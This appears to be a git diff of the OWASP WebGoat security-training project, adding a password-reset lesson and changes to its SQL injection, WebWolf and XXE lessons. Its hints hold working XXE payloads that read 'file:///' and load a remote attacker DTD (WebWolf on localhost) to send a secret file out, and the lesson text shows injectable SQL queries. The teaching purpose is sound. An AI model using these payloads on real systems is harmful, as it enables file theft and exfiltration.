@@ +== Password reset link + +Should be unique, do diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc new file mode 100644 index 000000000..fac4211c0 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_plan.adoc @@ -0,0 +1,22 @@ += Password reset + +== Concept + +This lesson teaches about password reset functionality which most of the time is an overlooked part of the application +leading to all kind of interesting logic flaws. + +== Goals + +Teach how to securely implement password reset functionality within your application. + +== Introduction + +Each and every one of us will have used the password reset functionality on websites before. Each website implements +this functionality in a different manner. On some site you have to answer some question on other sites an e-mail +with an activation link will be send to you. In this lesson we will go through some of the most common password +reset functionalities and show where it can go wrong. + +Still there are companies which will send the password in plaintext to a user in an e-mail. For a couple of examples +you can take a look at http://plaintextoffenders.com/ Here you will find website which still send you the plaintext +password in an e-mail. Not only this should make you question the security of the site but this also mean they store +your password in plaintext! \ No newline at end of file diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc new file mode 100644 index 000000000..c3e051b13 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_simple.adoc @@ -0,0 +1,6 @@ +== Email functionality with WebWolf + +Let's first do a simple assignment to make sure you are able to read e-mails with WebWolf, first start WebWolf (see http://) +In the reset page below send an e-mail to `username@webgoat.org` (part behind the @ is not important) +Open WebWolf and read the e-mail and login with your username and the password provided in the e-mail. + diff --git a/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc new file mode 100644 index 000000000..772eeb677 --- /dev/null +++ b/webgoat-lessons/password-reset/src/main/resources/lessonPlans/en/PasswordReset_wrong_message.adoc @@ -0,0 +1,21 @@ +:half-size: width='20%' + +== Find out if account exists + +As stated before during a password reset often you will find a different message depending on whether an e-mail +address exists or not. By itself this might not look like a big deal but it can give an attacker information which +can be used in a phishing attack. If the attacker knows you have a registered account at a site, the attacker can +for example create a phishing mail and send it to the user. The user might be more tempted to click the e-mail because +the user has a valid account at the website. On the other hand for some websites this is not really important but +some website users would like some more privacy. + +The screenshots below are taken from a real website: + +image:images/reset2.png[align="top", {half-size}] +image:images/reset1.png[align="top", {half-size}] + +Below you see how Slack implemented the same two pages, no matter what e-mail address you enter the message will +be exactly the same: + +image:images/slack1.png[{half-size}] +image:images/slack2.png[{half-size}] diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html b/webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html rename to webgoat-lessons/password-reset/src/main/resources/templates/password_link_not_found.html diff --git a/webgoat-lessons/challenge/src/main/resources/templates/password_reset.html b/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html similarity index 52% rename from webgoat-lessons/challenge/src/main/resources/templates/password_reset.html rename to webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html index a0d073a09..28c7c2f58 100644 --- a/webgoat-lessons/challenge/src/main/resources/templates/password_reset.html +++ b/webgoat-lessons/password-reset/src/main/resources/templates/password_reset.html @@ -9,16 +9,8 @@
-
+ - - - - - - - -
@@ -26,14 +18,6 @@ name='password' th:value="*{password}"/> Password error
- - - - - - - -
diff --git a/webgoat-lessons/challenge/src/main/resources/templates/success.html b/webgoat-lessons/password-reset/src/main/resources/templates/success.html similarity index 100% rename from webgoat-lessons/challenge/src/main/resources/templates/success.html rename to webgoat-lessons/password-reset/src/main/resources/templates/success.html diff --git a/webgoat-lessons/pom.xml b/webgoat-lessons/pom.xml index 5711263d3..94903db5d 100644 --- a/webgoat-lessons/pom.xml +++ b/webgoat-lessons/pom.xml @@ -5,12 +5,12 @@ org.owasp.webgoat.lesson webgoat-lessons-parent pom - 8.0.0.M3 + v8.0.0.M15 org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M15 @@ -22,6 +22,7 @@ http-basics http-proxies insecure-login + insecure-deserialization jwt sql-injection xxe @@ -32,6 +33,7 @@ auth-bypass missing-function-ac csrf + password-reset diff --git a/webgoat-lessons/sql-injection/pom.xml b/webgoat-lessons/sql-injection/pom.xml index 37283bdd5..8e02035d3 100644 --- a/webgoat-lessons/sql-injection/pom.xml +++ b/webgoat-lessons/sql-injection/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java index 3df685705..5313ac86b 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java +++ b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/advanced/SqlInjectionAdvanced.java @@ -53,7 +53,7 @@ public class SqlInjectionAdvanced extends NewLesson { @Override public String getTitle() { - return "SQL Injection (advanced)"; + return "sql.advanced.title"; } @Override diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java index d5df3c88a..63d7b0041 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java +++ b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/introduction/SqlInjection.java @@ -60,7 +60,7 @@ public class SqlInjection extends NewLesson { @Override public String getTitle() { - return "SQL Injection"; + return "sql.injection.title"; } @Override diff --git a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java index 463c4dfdc..2546bfb7f 100644 --- a/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java +++ b/webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/plugin/mitigation/SqlInjectionMitigations.java @@ -53,7 +53,7 @@ public class SqlInjectionMitigations extends NewLesson { @Override public String getTitle() { - return "SQL Injection (mitigations)"; + return "sql.mitigation.title"; } @Override diff --git a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties index 8f4c69431..409f69b6f 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/sql-injection/src/main/resources/i18n/WebGoatLabels.properties @@ -1,6 +1,12 @@ #StringSqlInjection.java StringSqlInjectionSecondStage=Now that you have successfully performed an SQL injection, try the same type of attack on a parameterized query. Restart the lesson if you wish to return to the injectable query. EnterLastName=Enter your last name: + +sql.injection.title=SQL Injection +sql.mitigation.title=SQL Injection (mitigation) +sql.advanced.title=SQL Injection (advanced) + + NoResultsMatched=No results matched. Try Again. SqlStringInjectionHint1=The application is taking your input and inserting it at the end of a pre-formed SQL command. SqlStringInjectionHint2=This is the code for the query being built and issued by WebGoat:

"SELECT * FROM user_data WHERE last_name = "accountName" diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc index 0fdb4f2d3..8a8a7ce78 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_challenge.adoc @@ -1,4 +1,6 @@ We now explained the basic steps involved in an SQL injection. In this assignment you will need to combine all the things we explained in the SQL lessons. +Goal: Can you login as Tom? + Have fun! \ No newline at end of file diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc index d0f4ff51e..4b534d4bc 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5a.adoc @@ -2,9 +2,9 @@ The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating strings making it susceptible to String SQL injection: -------------------------------------------------------- -"select * from users where name = ‘" + userName + "'"; -------------------------------------------------------- +------------------------------------------------------------ +"select * from users where LAST_NAME = ‘" + userName + "'"; +------------------------------------------------------------ Using the form below try to retrieve all the users from the users table. You shouldn't need to know any specific user name to get the complete list, however you can use 'Smith' to see the data for one user. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc index a59a92552..db023d8b5 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content5b.adoc @@ -2,8 +2,8 @@ The query in the code builds a dynamic query as seen in the previous example. The query in the code builds a dynamic query by concatenating a number making it susceptible to Numeric SQL injection: -------------------------------------------------------- -"select * from users where employee_id = " + userID; -------------------------------------------------------- +-------------------------------------------------- +"select * from users where USERID = " + userID; +-------------------------------------------------- Using the form below try to retrieve all the users from the users table. You shouldn't need to know any specific user name to get the complete list, however you can use '101' to see the data for one user. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc index 53fc5e140..f1aa56fb4 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content6c.adoc @@ -9,7 +9,7 @@ injection. Let's first start with the difference between a normal SQL injection and a blind SQL injection. In a normal SQL injection the error messages from the database are displayed and gives enough information to find out how -the query is working. Or in the case of an union based SQL injection the application does not reflect the information +the query is working. Or in the case of a union based SQL injection the application does not reflect the information directly on the webpage. So in the case where nothing is displayed you will need to start asking the database questions based on a true or false statement. That's why a blind SQL injection is much more difficult to exploit. diff --git a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc index ad9cf05b1..8c1ab2494 100644 --- a/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc +++ b/webgoat-lessons/sql-injection/src/main/resources/lessonPlans/en/SqlInjection_content7.adoc @@ -1,6 +1,6 @@ == Immutable Queries -These are the best defense against SQL Injection. They either do not have data that could get interpreted or the treat the data as a single entity that is bound to a column without interpretation. +These are the best defense against SQL Injection. They either do not have data that could get interpreted or they treat the data as a single entity that is bound to a column without interpretation. === Static Queries ------------------------------------------------------- diff --git a/webgoat-lessons/vulnerable-components/pom.xml b/webgoat-lessons/vulnerable-components/pom.xml index fa63b8c60..343969ac3 100644 --- a/webgoat-lessons/vulnerable-components/pom.xml +++ b/webgoat-lessons/vulnerable-components/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/webgoat-introduction/pom.xml b/webgoat-lessons/webgoat-introduction/pom.xml index e21212549..4d7b403f8 100644 --- a/webgoat-lessons/webgoat-introduction/pom.xml +++ b/webgoat-lessons/webgoat-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/pom.xml b/webgoat-lessons/webwolf-introduction/pom.xml index 395a2423f..7f0903586 100644 --- a/webgoat-lessons/webwolf-introduction/pom.xml +++ b/webgoat-lessons/webwolf-introduction/pom.xml @@ -6,6 +6,6 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 \ No newline at end of file diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java index 1ae6ea707..18e954b0f 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java @@ -21,7 +21,7 @@ import java.net.URISyntaxException; @AssignmentPath("/WebWolf/landing") public class LandingAssignment extends AssignmentEndpoint { - @Value("${webworf.url.landingpage}") + @Value("${webwolf.url.landingpage}") private String landingPageUrl; @PostMapping diff --git a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java index 54e17a9c2..c10321e74 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java +++ b/webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java @@ -8,6 +8,7 @@ import org.springframework.beans.factory.annotation.Value; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.client.RestClientException; import org.springframework.web.client.RestTemplate; import java.time.LocalDateTime; @@ -39,7 +40,11 @@ public class MailAssignment extends AssignmentEndpoint { .contents("This is a test message from WebWolf, your unique code is: " + StringUtils.reverse(username)) .sender("webgoat@owasp.org") .build(); - restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + try { + restTemplate.postForEntity(webWolfURL, mailEvent, Object.class); + } catch (RestClientException e ) { + return informationMessage().feedback("webwolf.email_failed").output(e.getMessage()).build(); + } return informationMessage().feedback("webwolf.email_send").feedbackArgs(email).build(); } else { return informationMessage().feedback("webwolf.email_mismatch").feedbackArgs(username).build(); diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html b/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html index fc443b7c7..70586184c 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html @@ -12,6 +12,7 @@
+
+
Click here to reset your password diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties b/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties index 20947800b..0981f2a08 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties @@ -2,7 +2,7 @@ webwolf.title=WebWolf webwolf.email_send=An email has been send to {0} please check your inbox. webwolf.code_incorrect=That is not the correct code: {0}, please try again. - +webwolf.email_failed=There was an error while sending the e-mail. Is WebWolf running? webwolf.email_mismatch=Of course you can send mail to user {0} however you will not be able to read this e-mail in WebWolf, please use your own username. diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png b/webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png new file mode 100644 index 000000000..d343c07d9 Binary files /dev/null and b/webgoat-lessons/webwolf-introduction/src/main/resources/images/wolf-enabled.png differ diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc index 37ee96c81..0bbd39bc1 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/IntroductionWebWolf.adoc @@ -1,7 +1,17 @@ == Introducing WebWolf -NOTE: You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without -starting WebWolf. +You only need WebWolf if you a lesson specifies you can use it. For a lot of lessons you use WebGoat without +starting WebWolf. If you need to do an exercise with WebWolf make sure it is running along side with WebGoat. Lessons +where you can use WebWolf are marked with the following icon (top right in assignment): + +{nbsp} + +image::images/wolf-enabled.png[width=115,height=128] + +{nbsp} + +Even if the icon the present your are not obliged to use WebWolf, you can also use any intercepting tool you like, like +`netcat` etc. WebWolf is a separate web application which simulates an attackers machine. It makes it possible for us to make a clear distinction between what takes place on the attacked website and the actions you need to do as @@ -20,12 +30,18 @@ are not using the Docker image you will need to download the jar file and start java -jar webwolf-<>.jar ``` -WebWolf is also available as a Docker container: +WebWolf is also available as a Docker container, because it shares the database with WebGoat we first need +to find out the ip address of the Docker container. ``` -docker pull webwolf/webwolf-8.0 -docker run -it 8081:8081 /home/webwolf/run.sh +WEBGOAT_SERVER_ADDRESS=$(docker inspect -f "{{ .NetworkSettings.IPAddress }}" `docker ps | grep webgoat | awk '{print $1}'`) +docker pull webgoat/webwolf +docker run -e webgoat.server.address=${WEBGOAT_SERVER_ADDRESS} -it -p 8081:8081 webgoat/webwolf /home/webwolf/run.sh ``` +Note: if you start WebGoat as standalone application you need to start WebWolf as standalone application as well. If +you start WebGoat as Docker container you need to start WebWolf as Docker container as well. + + This will start the application on port 8081, click webWolfLink:here[] to open WebWolf. First thing you need to do is register a new user within WebWolf. \ No newline at end of file diff --git a/webgoat-lessons/xxe/pom.xml b/webgoat-lessons/xxe/pom.xml index 169b86501..6d6eae1e6 100644 --- a/webgoat-lessons/xxe/pom.xml +++ b/webgoat-lessons/xxe/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat.lesson webgoat-lessons-parent - 8.0.0.M3 + v8.0.0.M15 diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java index 750aaf876..9f48290cf 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/BlindSendFileAssignment.java @@ -4,6 +4,7 @@ import com.google.common.base.Charsets; import com.google.common.io.Files; import lombok.SneakyThrows; import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AttackResult; import org.springframework.beans.factory.annotation.Autowired; @@ -49,6 +50,7 @@ import static org.apache.commons.lang3.RandomStringUtils.randomAlphabetic; * @since November 18, 2016 */ @AssignmentPath("xxe/blind") +@AssignmentHints({"xxe.blind.hints.1","xxe.blind.hints.2","xxe.blind.hints.3","xxe.blind.hints.4","xxe.blind.hints.5"}) public class BlindSendFileAssignment extends AssignmentEndpoint { static final String CONTENTS = "WebGoat 8.0 rocks... (" + randomAlphabetic(10) + ")"; diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java index 0cc4f0069..acbdeaa68 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/SimpleXXE.java @@ -51,7 +51,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST; * @since 4/8/17. */ @AssignmentPath("xxe/simple") -@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4"}) +@AssignmentHints({"xxe.hints.simple.xxe.1", "xxe.hints.simple.xxe.2", "xxe.hints.simple.xxe.3", "xxe.hints.simple.xxe.4", "xxe.hints.simple.xxe.5", "xxe.hints.simple.xxe.6"}) public class SimpleXXE extends AssignmentEndpoint { private final static String[] DEFAULT_LINUX_DIRECTORIES = {"usr", "etc", "var"}; diff --git a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java index 43ebad5ac..b35433e30 100644 --- a/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java +++ b/webgoat-lessons/xxe/src/main/java/org/owasp/webgoat/plugin/XXE.java @@ -58,7 +58,7 @@ public class XXE extends NewLesson { @Override public String getTitle() { - return "XXE"; + return "xxe.title"; } @Override diff --git a/webgoat-lessons/xxe/src/main/resources/html/XXE.html b/webgoat-lessons/xxe/src/main/resources/html/XXE.html index 39eadc226..f0706e8e3 100644 --- a/webgoat-lessons/xxe/src/main/resources/html/XXE.html +++ b/webgoat-lessons/xxe/src/main/resources/html/XXE.html @@ -144,6 +144,7 @@
+
# +xxe.title=XXE xxe.simple.output=Welcome {0} you can now login to our website xxe.content.type.feedback.json=You are posting JSON which does not work with a XXE xxe.content.type.feedback.xml=You are posting XML but there is no XXE attack performed @@ -29,9 +30,17 @@ xxe.content.output=Welcome {0} you can now login to our website xxe.blind.output=Contents of the file is: {0} xxe.hints.simple.xxe.1=Try submitting the form and see what happens -xxe.hints.simple.xxe.2=XXE stands for XML External Entity attack -xxe.hints.simple.xxe.3=Try to include your own DTD -xxe.hints.simple.xxe.4=Try to include a doctype "(<!DOCTYPE...)" in the xml +xxe.hints.simple.xxe.2=Use ZAP/Burp to intercept the request and try to include your own DTD +xxe.hints.simple.xxe.3=Try to include a doctype "(<!DOCTYPE...)" in the xml +xxe.hints.simple.xxe.4=The include can be as follows: <!DOCTYPE user [<!ENTITY root SYSTEM "file:///"> ]> +xxe.hints.simple.xxe.5=Do not forget to reference the entity +xxe.hints.simple.xxe.6=In the comment you should references: <comment><text>&root;test</text></comment> xxe.hints.content.type.xxe.1=Take a look at the content type -xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? \ No newline at end of file +xxe.hints.content.type.xxe.2=Does the endpoint only accept json messages? + +xxe.blind.hints.1=This assignment is more complicated you need to upload the contents of a file to the attackers site (WebWolf in this case) +xxe.blind.hints.2=In this case you cannot combine external entities in combination with internal entities. +xxe.blind.hints.3=Use parameter entities to perform the attack, see for example: https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/ +xxe.blind.hints.4=An example DTD can be found here WebGoat/images/example.dtd, include this DTD in the xml comment +xxe.blind.hints.5=Use for the comment, be aware to replace the url accordingly: <?xml version="1.0"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "http://localhost:8081/files/test1234/test.dtd">%remote;]><comment><text>test&send;</text></comment> diff --git a/webgoat-lessons/xxe/src/main/resources/images/example.dtd b/webgoat-lessons/xxe/src/main/resources/images/example.dtd new file mode 100644 index 000000000..9753b5c2f --- /dev/null +++ b/webgoat-lessons/xxe/src/main/resources/images/example.dtd @@ -0,0 +1,5 @@ + + +"> +%all; + ~ \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png b/webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png new file mode 100644 index 000000000..d343c07d9 Binary files /dev/null and b/webgoat-lessons/xxe/src/main/resources/images/wolf-enabled.png differ diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc index c8114bc1c..72c9e4886 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind.adoc @@ -1,4 +1,3 @@ - == Blind XXE In some cases you will see no output because although your attack might have worked the field is not reflected in the output of page. @@ -6,25 +5,25 @@ Or the resource you are trying to read contains illegal XML character which caus Let's start with an example, in this case we reference an external DTD which we control on our own server. As an attacker you have WebWolf under your control (*this can be any server under your control.*), you can for example -use this server to ping it using `http://localhost:8081/ping?text=HelloWorld +use this server to ping it using `webWolfLink:landing[noLink]` How do we use this endpoint to verify whether we can perform XXE? We can again use WebWolf to host a file called `attack.dtd`, create this file with the following contents: -[source] +[source, subs="macros, specialcharacters"] ---- - + ---- Now submit the form change the xml using to: -[source] +[source, subs="macros, specialcharacters"] ---- + %remote; ]> diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc index e7adfae9b..dd5ae4194 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_blind_assignment.adoc @@ -9,15 +9,15 @@ DTD. |OS |Location |Linux -|`/home/USER/.webgoat/XXE/secret.txt` +|`/home/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |Windows -|`c:/Users/USER/.webgoat/XXE/secret.txt` +|`c:/Users/USER/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |Docker -|`/home/webgoat/.webgoat/XXE/secret.txt` +|`/home/webgoat/.webgoat-webGoatVersion:version[]/XXE/secret.txt` |=== -Try to upload this file using WebWolf landing page for example: `http://localhost:8081/WebWolf/landing?text=[contents_file]` +Try to upload this file using WebWolf landing page for example: `webWolfLink:landing?text=contents_file[noLink]` (NOTE: this endpoint is under your full control) Once you obtained the contents of the file post it as a new comment on the page and you will solve the lesson. \ No newline at end of file diff --git a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc index 80b948ba4..77d9cacc8 100644 --- a/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc +++ b/webgoat-lessons/xxe/src/main/resources/lessonPlans/en/XXE_changing_content_type.adoc @@ -3,5 +3,5 @@ In modern REST frameworks the server might be able to accepts data formats that you as a developer did not think about. So this might result in JSON endpoints being vulnerable to XXE attacks. -Again same exercise but try to perform the same XML injection as we did in first assigment. +Again same exercise but try to perform the same XML injection as we did in first assignment. diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java index c78293daf..4efbca7c4 100644 --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/BlindSendFileAssignmentTest.java @@ -71,6 +71,7 @@ public class BlindSendFileAssignmentTest extends LessonTest { @Test public void solve() throws Exception { File targetFile = new File(webGoatHomeDirectory, "/XXE/secret.txt"); + //Host DTD on WebWolf site String dtd = "\n" + "\n" + "\">\n" + @@ -80,6 +81,8 @@ public class BlindSendFileAssignmentTest extends LessonTest { .withStatus(200) .withBody(dtd))); webwolfServer.stubFor(get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200))); + + //Make the request from WebGoat String xml = "" + "" + diff --git a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java index ae826e995..21d4c48cd 100644 --- a/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java +++ b/webgoat-lessons/xxe/src/test/java/org/owasp/webgoat/plugin/SimpleXXETest.java @@ -28,7 +28,6 @@ public class SimpleXXETest extends LessonTest { when(webSession.getUserName()).thenReturn("unit-test"); } - @Test public void workingAttack() throws Exception { //Call with XXE injection diff --git a/webgoat-server/Dockerfile b/webgoat-server/Dockerfile index 2f1b6f0fd..860bb1b3f 100644 --- a/webgoat-server/Dockerfile +++ b/webgoat-server/Dockerfile @@ -2,13 +2,13 @@ FROM openjdk:8-jre-slim ARG webgoat_version=8.0-SNAPSHOT -RUN useradd --home-dir /home/webgoat --create-home -U webgoat - -RUN apt-get update; apt-get install curl -y - -COPY start.sh /home/webgoat/start.sh -RUN chmod +x /home/webgoat/start.sh +RUN \ + apt-get update && apt-get install && \ + useradd --home-dir /home/webgoat --create-home -U webgoat USER webgoat -RUN cd /home/webgoat/; mkdir -p .webgoat +RUN cd /home/webgoat/; mkdir -p .webgoat-${webgoat_version} COPY target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar + +ENTRYPOINT ["java", "-Djava.security.egd=file:/dev/./urandom", "-jar", "/home/webgoat/webgoat.jar", "--server.address=0.0.0.0"] +EXPOSE 8080 \ No newline at end of file diff --git a/webgoat-server/pom.xml b/webgoat-server/pom.xml index 6bec68abb..452985378 100644 --- a/webgoat-server/pom.xml +++ b/webgoat-server/pom.xml @@ -6,7 +6,7 @@ org.owasp.webgoat webgoat-parent - 8.0.0.M3 + v8.0.0.M15 @@ -145,6 +145,11 @@ insecure-login ${project.version} + + org.owasp.webgoat.lesson + insecure-deserialization + ${project.version} + org.owasp.webgoat.lesson jwt @@ -185,6 +190,11 